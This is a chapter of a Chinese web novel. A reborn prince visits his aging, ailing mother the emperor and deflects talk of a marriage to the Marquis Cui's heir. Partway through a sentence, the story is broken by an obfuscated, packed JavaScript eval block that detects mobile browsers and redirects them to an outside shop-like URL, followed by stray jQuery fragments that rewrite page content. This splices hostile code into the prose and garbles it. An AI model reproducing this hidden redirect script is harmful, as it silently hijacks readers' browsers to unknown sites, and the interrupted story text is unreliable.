皇帝是否如侍从所言，有对自己见面三分情，秦应怜不知道，但他却是实实在在动了真情。


    明明距离他上次进宫来向母皇请安也不过个把月的时间，但她好像又苍老了许多。


    天气已经回暖，秦应怜穿着桃粉色的轻薄衫子，在太阳底下晾着等通传时，都被晒得起了快要起了细密的薄汗，皇帝肩头却还披着氅衣，身形略显佝偻地斜靠在圈椅里，呼吸声迟缓而滞涩，爬满皱褶的眼皮疲惫地耷拉着，半阖着眼睛瞥向来人的方向。


    刚重生回来时，母皇还是精神矍铄的，说话都中气十足，跟如今这副暮气沉沉的模样简直判若两人。


    母皇真的老了。这个认知刺得秦应怜眼眶发烫，心头酸胀得厉害，咽下喉头哽咽，连同着酝酿好的呈演皇家天伦之乐的虚情假意一并吞没，恭恭敬敬地向皇帝行了个大礼。


    秦应怜虽然怕母皇送自己去和气，但也怕母皇不要他了。


    景晟帝年迈后脾气倒是愈发宽和仁爱，苍老浑浊的眼珠缓慢地动了动，转到正面来，凝视着下首年轻的孩子，虚弱地握拳掩唇轻咳了两声，面颊两侧的皱纹呈现向上的趋势，她慢吞吞地呵呵笑问：“喔…你是哪个？从前好像没见过你，是新拨来紫宸殿伺候的？”


    秦应怜自脸颊到耳根都泛起粉红来，温顺地低垂眼睛，很是尴尬地小声叫了声母皇。


    “母皇，我是应怜呀。”


    景晟帝从墨狐皮大氅下探出一只枯槁的手，清瘦得只剩一层皱巴巴的皮松垮地包裹着骨，她笑着朝他招了招手：“母皇同你说笑呢，过来，让母皇好好瞧瞧，小怜儿是不是瘦了？”


    冬日时穿得圆滚滚毛茸茸，雪白蓬松的绒毛领衬得他小脸圆润可爱，这一去了冬衣，浑身轻便，像长毛小猫褪了一身暖绒毛，身量缩水了一大圈，人瞧着的确像是清减了。


    他乖巧地挪到皇帝手边，依赖地侧头枕着她的膝盖，笑容甜蜜又纯真：“都是孩儿心里太惦记母皇了，以至茶饭不思，寝食难安，孩儿甚是思念母皇，总盼能长伴君侧，却又怕来的不是时候叨扰了您，反添烦扰。”


    这话真假掺半，不知景晟帝能听信了几分。


    她微微颔首：“好孩子，有心了。”


    说话时老皇帝收起抚摸秦应怜脸颊的手，复又拢了拢衣领，断断续续地咳嗽声像是拉破风箱。


    听内侍说是春寒交替时着了凉，许是真是年纪大了，不好恢复，病情反复，拖延了许久，才好些。


    秦应怜担忧地递上帕子和温水，亲自侍奉，待她平复些后，才眼含泪光怯怯低语道：“我一辈子都不嫁人了，我要一直侍奉母皇左右。”


    皇帝笑他：“又说胡话，小男儿家哪有一辈子留在娘家不出门的道理。你倒提醒朕了，是该再给你物色物色下家了。”


    一想到还未离京的那帮外邦使臣，秦应怜便一个头两个大，生怕母皇是动了派他去和亲的主意，又改口道：“那孩儿也还是想多在您跟前尽孝呢，您可别将孩儿许出远了去了，离宫里越近越好呢，若不能承欢膝下，孝敬母皇，孩儿之过岂不该以死谢罪。”


    他眉目微垂，作出一副柔弱无助的可怜情态，说到情动处，那双澄明透亮的眼中盈着一汪绵绵春水，波光熠熠，任谁被瞧了去都要柔软了心肠，揽他入怀，轻言细语好生安抚一道。


    但景晟帝只道：“母皇年纪大了，还是早早安排下，才好放心，你不想嫁，也不必急于一时。”


    秦应怜忐忑不安地等着下文。


    她拨了拨碧玉扳指，声音苍老浑浊，沉闷闷地，莫名压得秦应怜喘不过气来：“镇北侯崔家如何？她家长子有意求娶，私底下都求到朕跟前了，朕虽不忍拂了老臣面子，但到底是你自己的事，母皇倒是想听听应怜怎么看。”


    秦应怜面上适时流露出惊诧之色，紧张地小幅度摇了摇头，拿幼小无知作挡箭牌：“孩儿还小，怎会懂这个。”边说边他还更挨近了皇帝，讨好地蹭了蹭她的膝头。


    他能作何感想，只惊讶崔家怎么敢自作主张私下里来向母皇请旨。没想到自己还能有如此抢手的时候，叫这一家三头堵。


    这事处处透着古怪，饶是他这并不大机灵的人都能看得出来。秦应怜想不明白，于是更觉得蹊跷，真会有这种天降的好事非他不可？


    况且上回当街殴打了人家堂堂侯府世子，他自知自己定是得罪透了崔家，只怕真进了侯府的门，待母皇过身后，没了庇护，他下场不会比嫁给云成琰好哪去。


    尽管秦应怜曾短暂地为侯门的荣华富贵可耻地心动了一下，但比起金银财宝，还是小命更要紧。


    皇帝对幼子的亲近很是受用，慈爱地抚了抚他的发顶，不紧不慢道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280459|196642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：“镇北侯也是老臣了，崔家满门忠烈，朕…一向很是倚重。原想着亲上加亲，也是好的，只是你既不愿意，此事不提也罢。”


    秦应怜大喜过望，扬起的小脸上流露出的是不谙世事的天真，声音绵软地甜甜笑答：“多谢母皇体恤。”


    他想当然地认为他杀伐果决了一辈子的母皇当真只是对自己一片慈母心肠，甚至还大着胆子想试探她的意思：“说了这起子话，孩儿险些都要忘了此行是来向陛下谢恩的，听闻这还是使臣特献给您的，母皇果真是最疼我的……两方邦交是要事，母皇日夜操劳，实在辛苦，不知可有孩儿能帮上忙的地方？”


    这转折虽略显生硬，但乍一听只是小孩子一片孝心，并不大叫人起疑。


    景晟帝端起茶杯啜饮，满不在乎道：“不过区区小国，用不着费什么心神，赏赐下去，过两日随意打发回去了就是，这事也自有皇子们操持，指着你个小男儿家能做什么？”


    只字不提和亲，还想张罗着给他寻妻家，看来云成琰真没诓他，这事应是已翻过篇了。秦应怜这才稍稍放下心来。


    心事已了，他笑容更加真切，又陪着皇帝说了会儿话，待内侍端了汤药进来时，他便就势告退了。


    只是回去的路上，他为着不必和亲的喜事高兴不过一会儿，又开始为母皇的身体状况愁肠百结。


    才几个月的光景，母皇怎就变得这般沧桑。


    前世这个时间他正备嫁，整日被拘在宫里教习规矩，实在记不大清母皇当时是个什么模样，一直到蒙上了红盖头被送出嫁时，他才隔着大红的绸子影影绰绰地看了一眼高坐上首的皇帝。


    再往后，便是冬日里母皇又病了一场，前往侍疾时一见，那时倒是与如今的模样有些相近了。


    只是依照前世的轨迹，这可能是个不好的征兆，也许他即将要失去唯一的依仗了，秦应怜不由有些迷茫又惶恐，不知前路该何去何从。


    秦应怜双手托腮，瞥向马车外快速变换的景色出神，忽然忧虑地长叹一口气。自己这重生真是无用，不仅难逃命运安排，回回还多了新的变数，叫他无处可躲。


    还以为是被天姥姥眷顾了，原是换着花样耍他呢。


    不过就算是老天也别想打倒他秦应怜，好在他凭着自己的聪慧，到底还是一切向好了，他的来日还长着呢。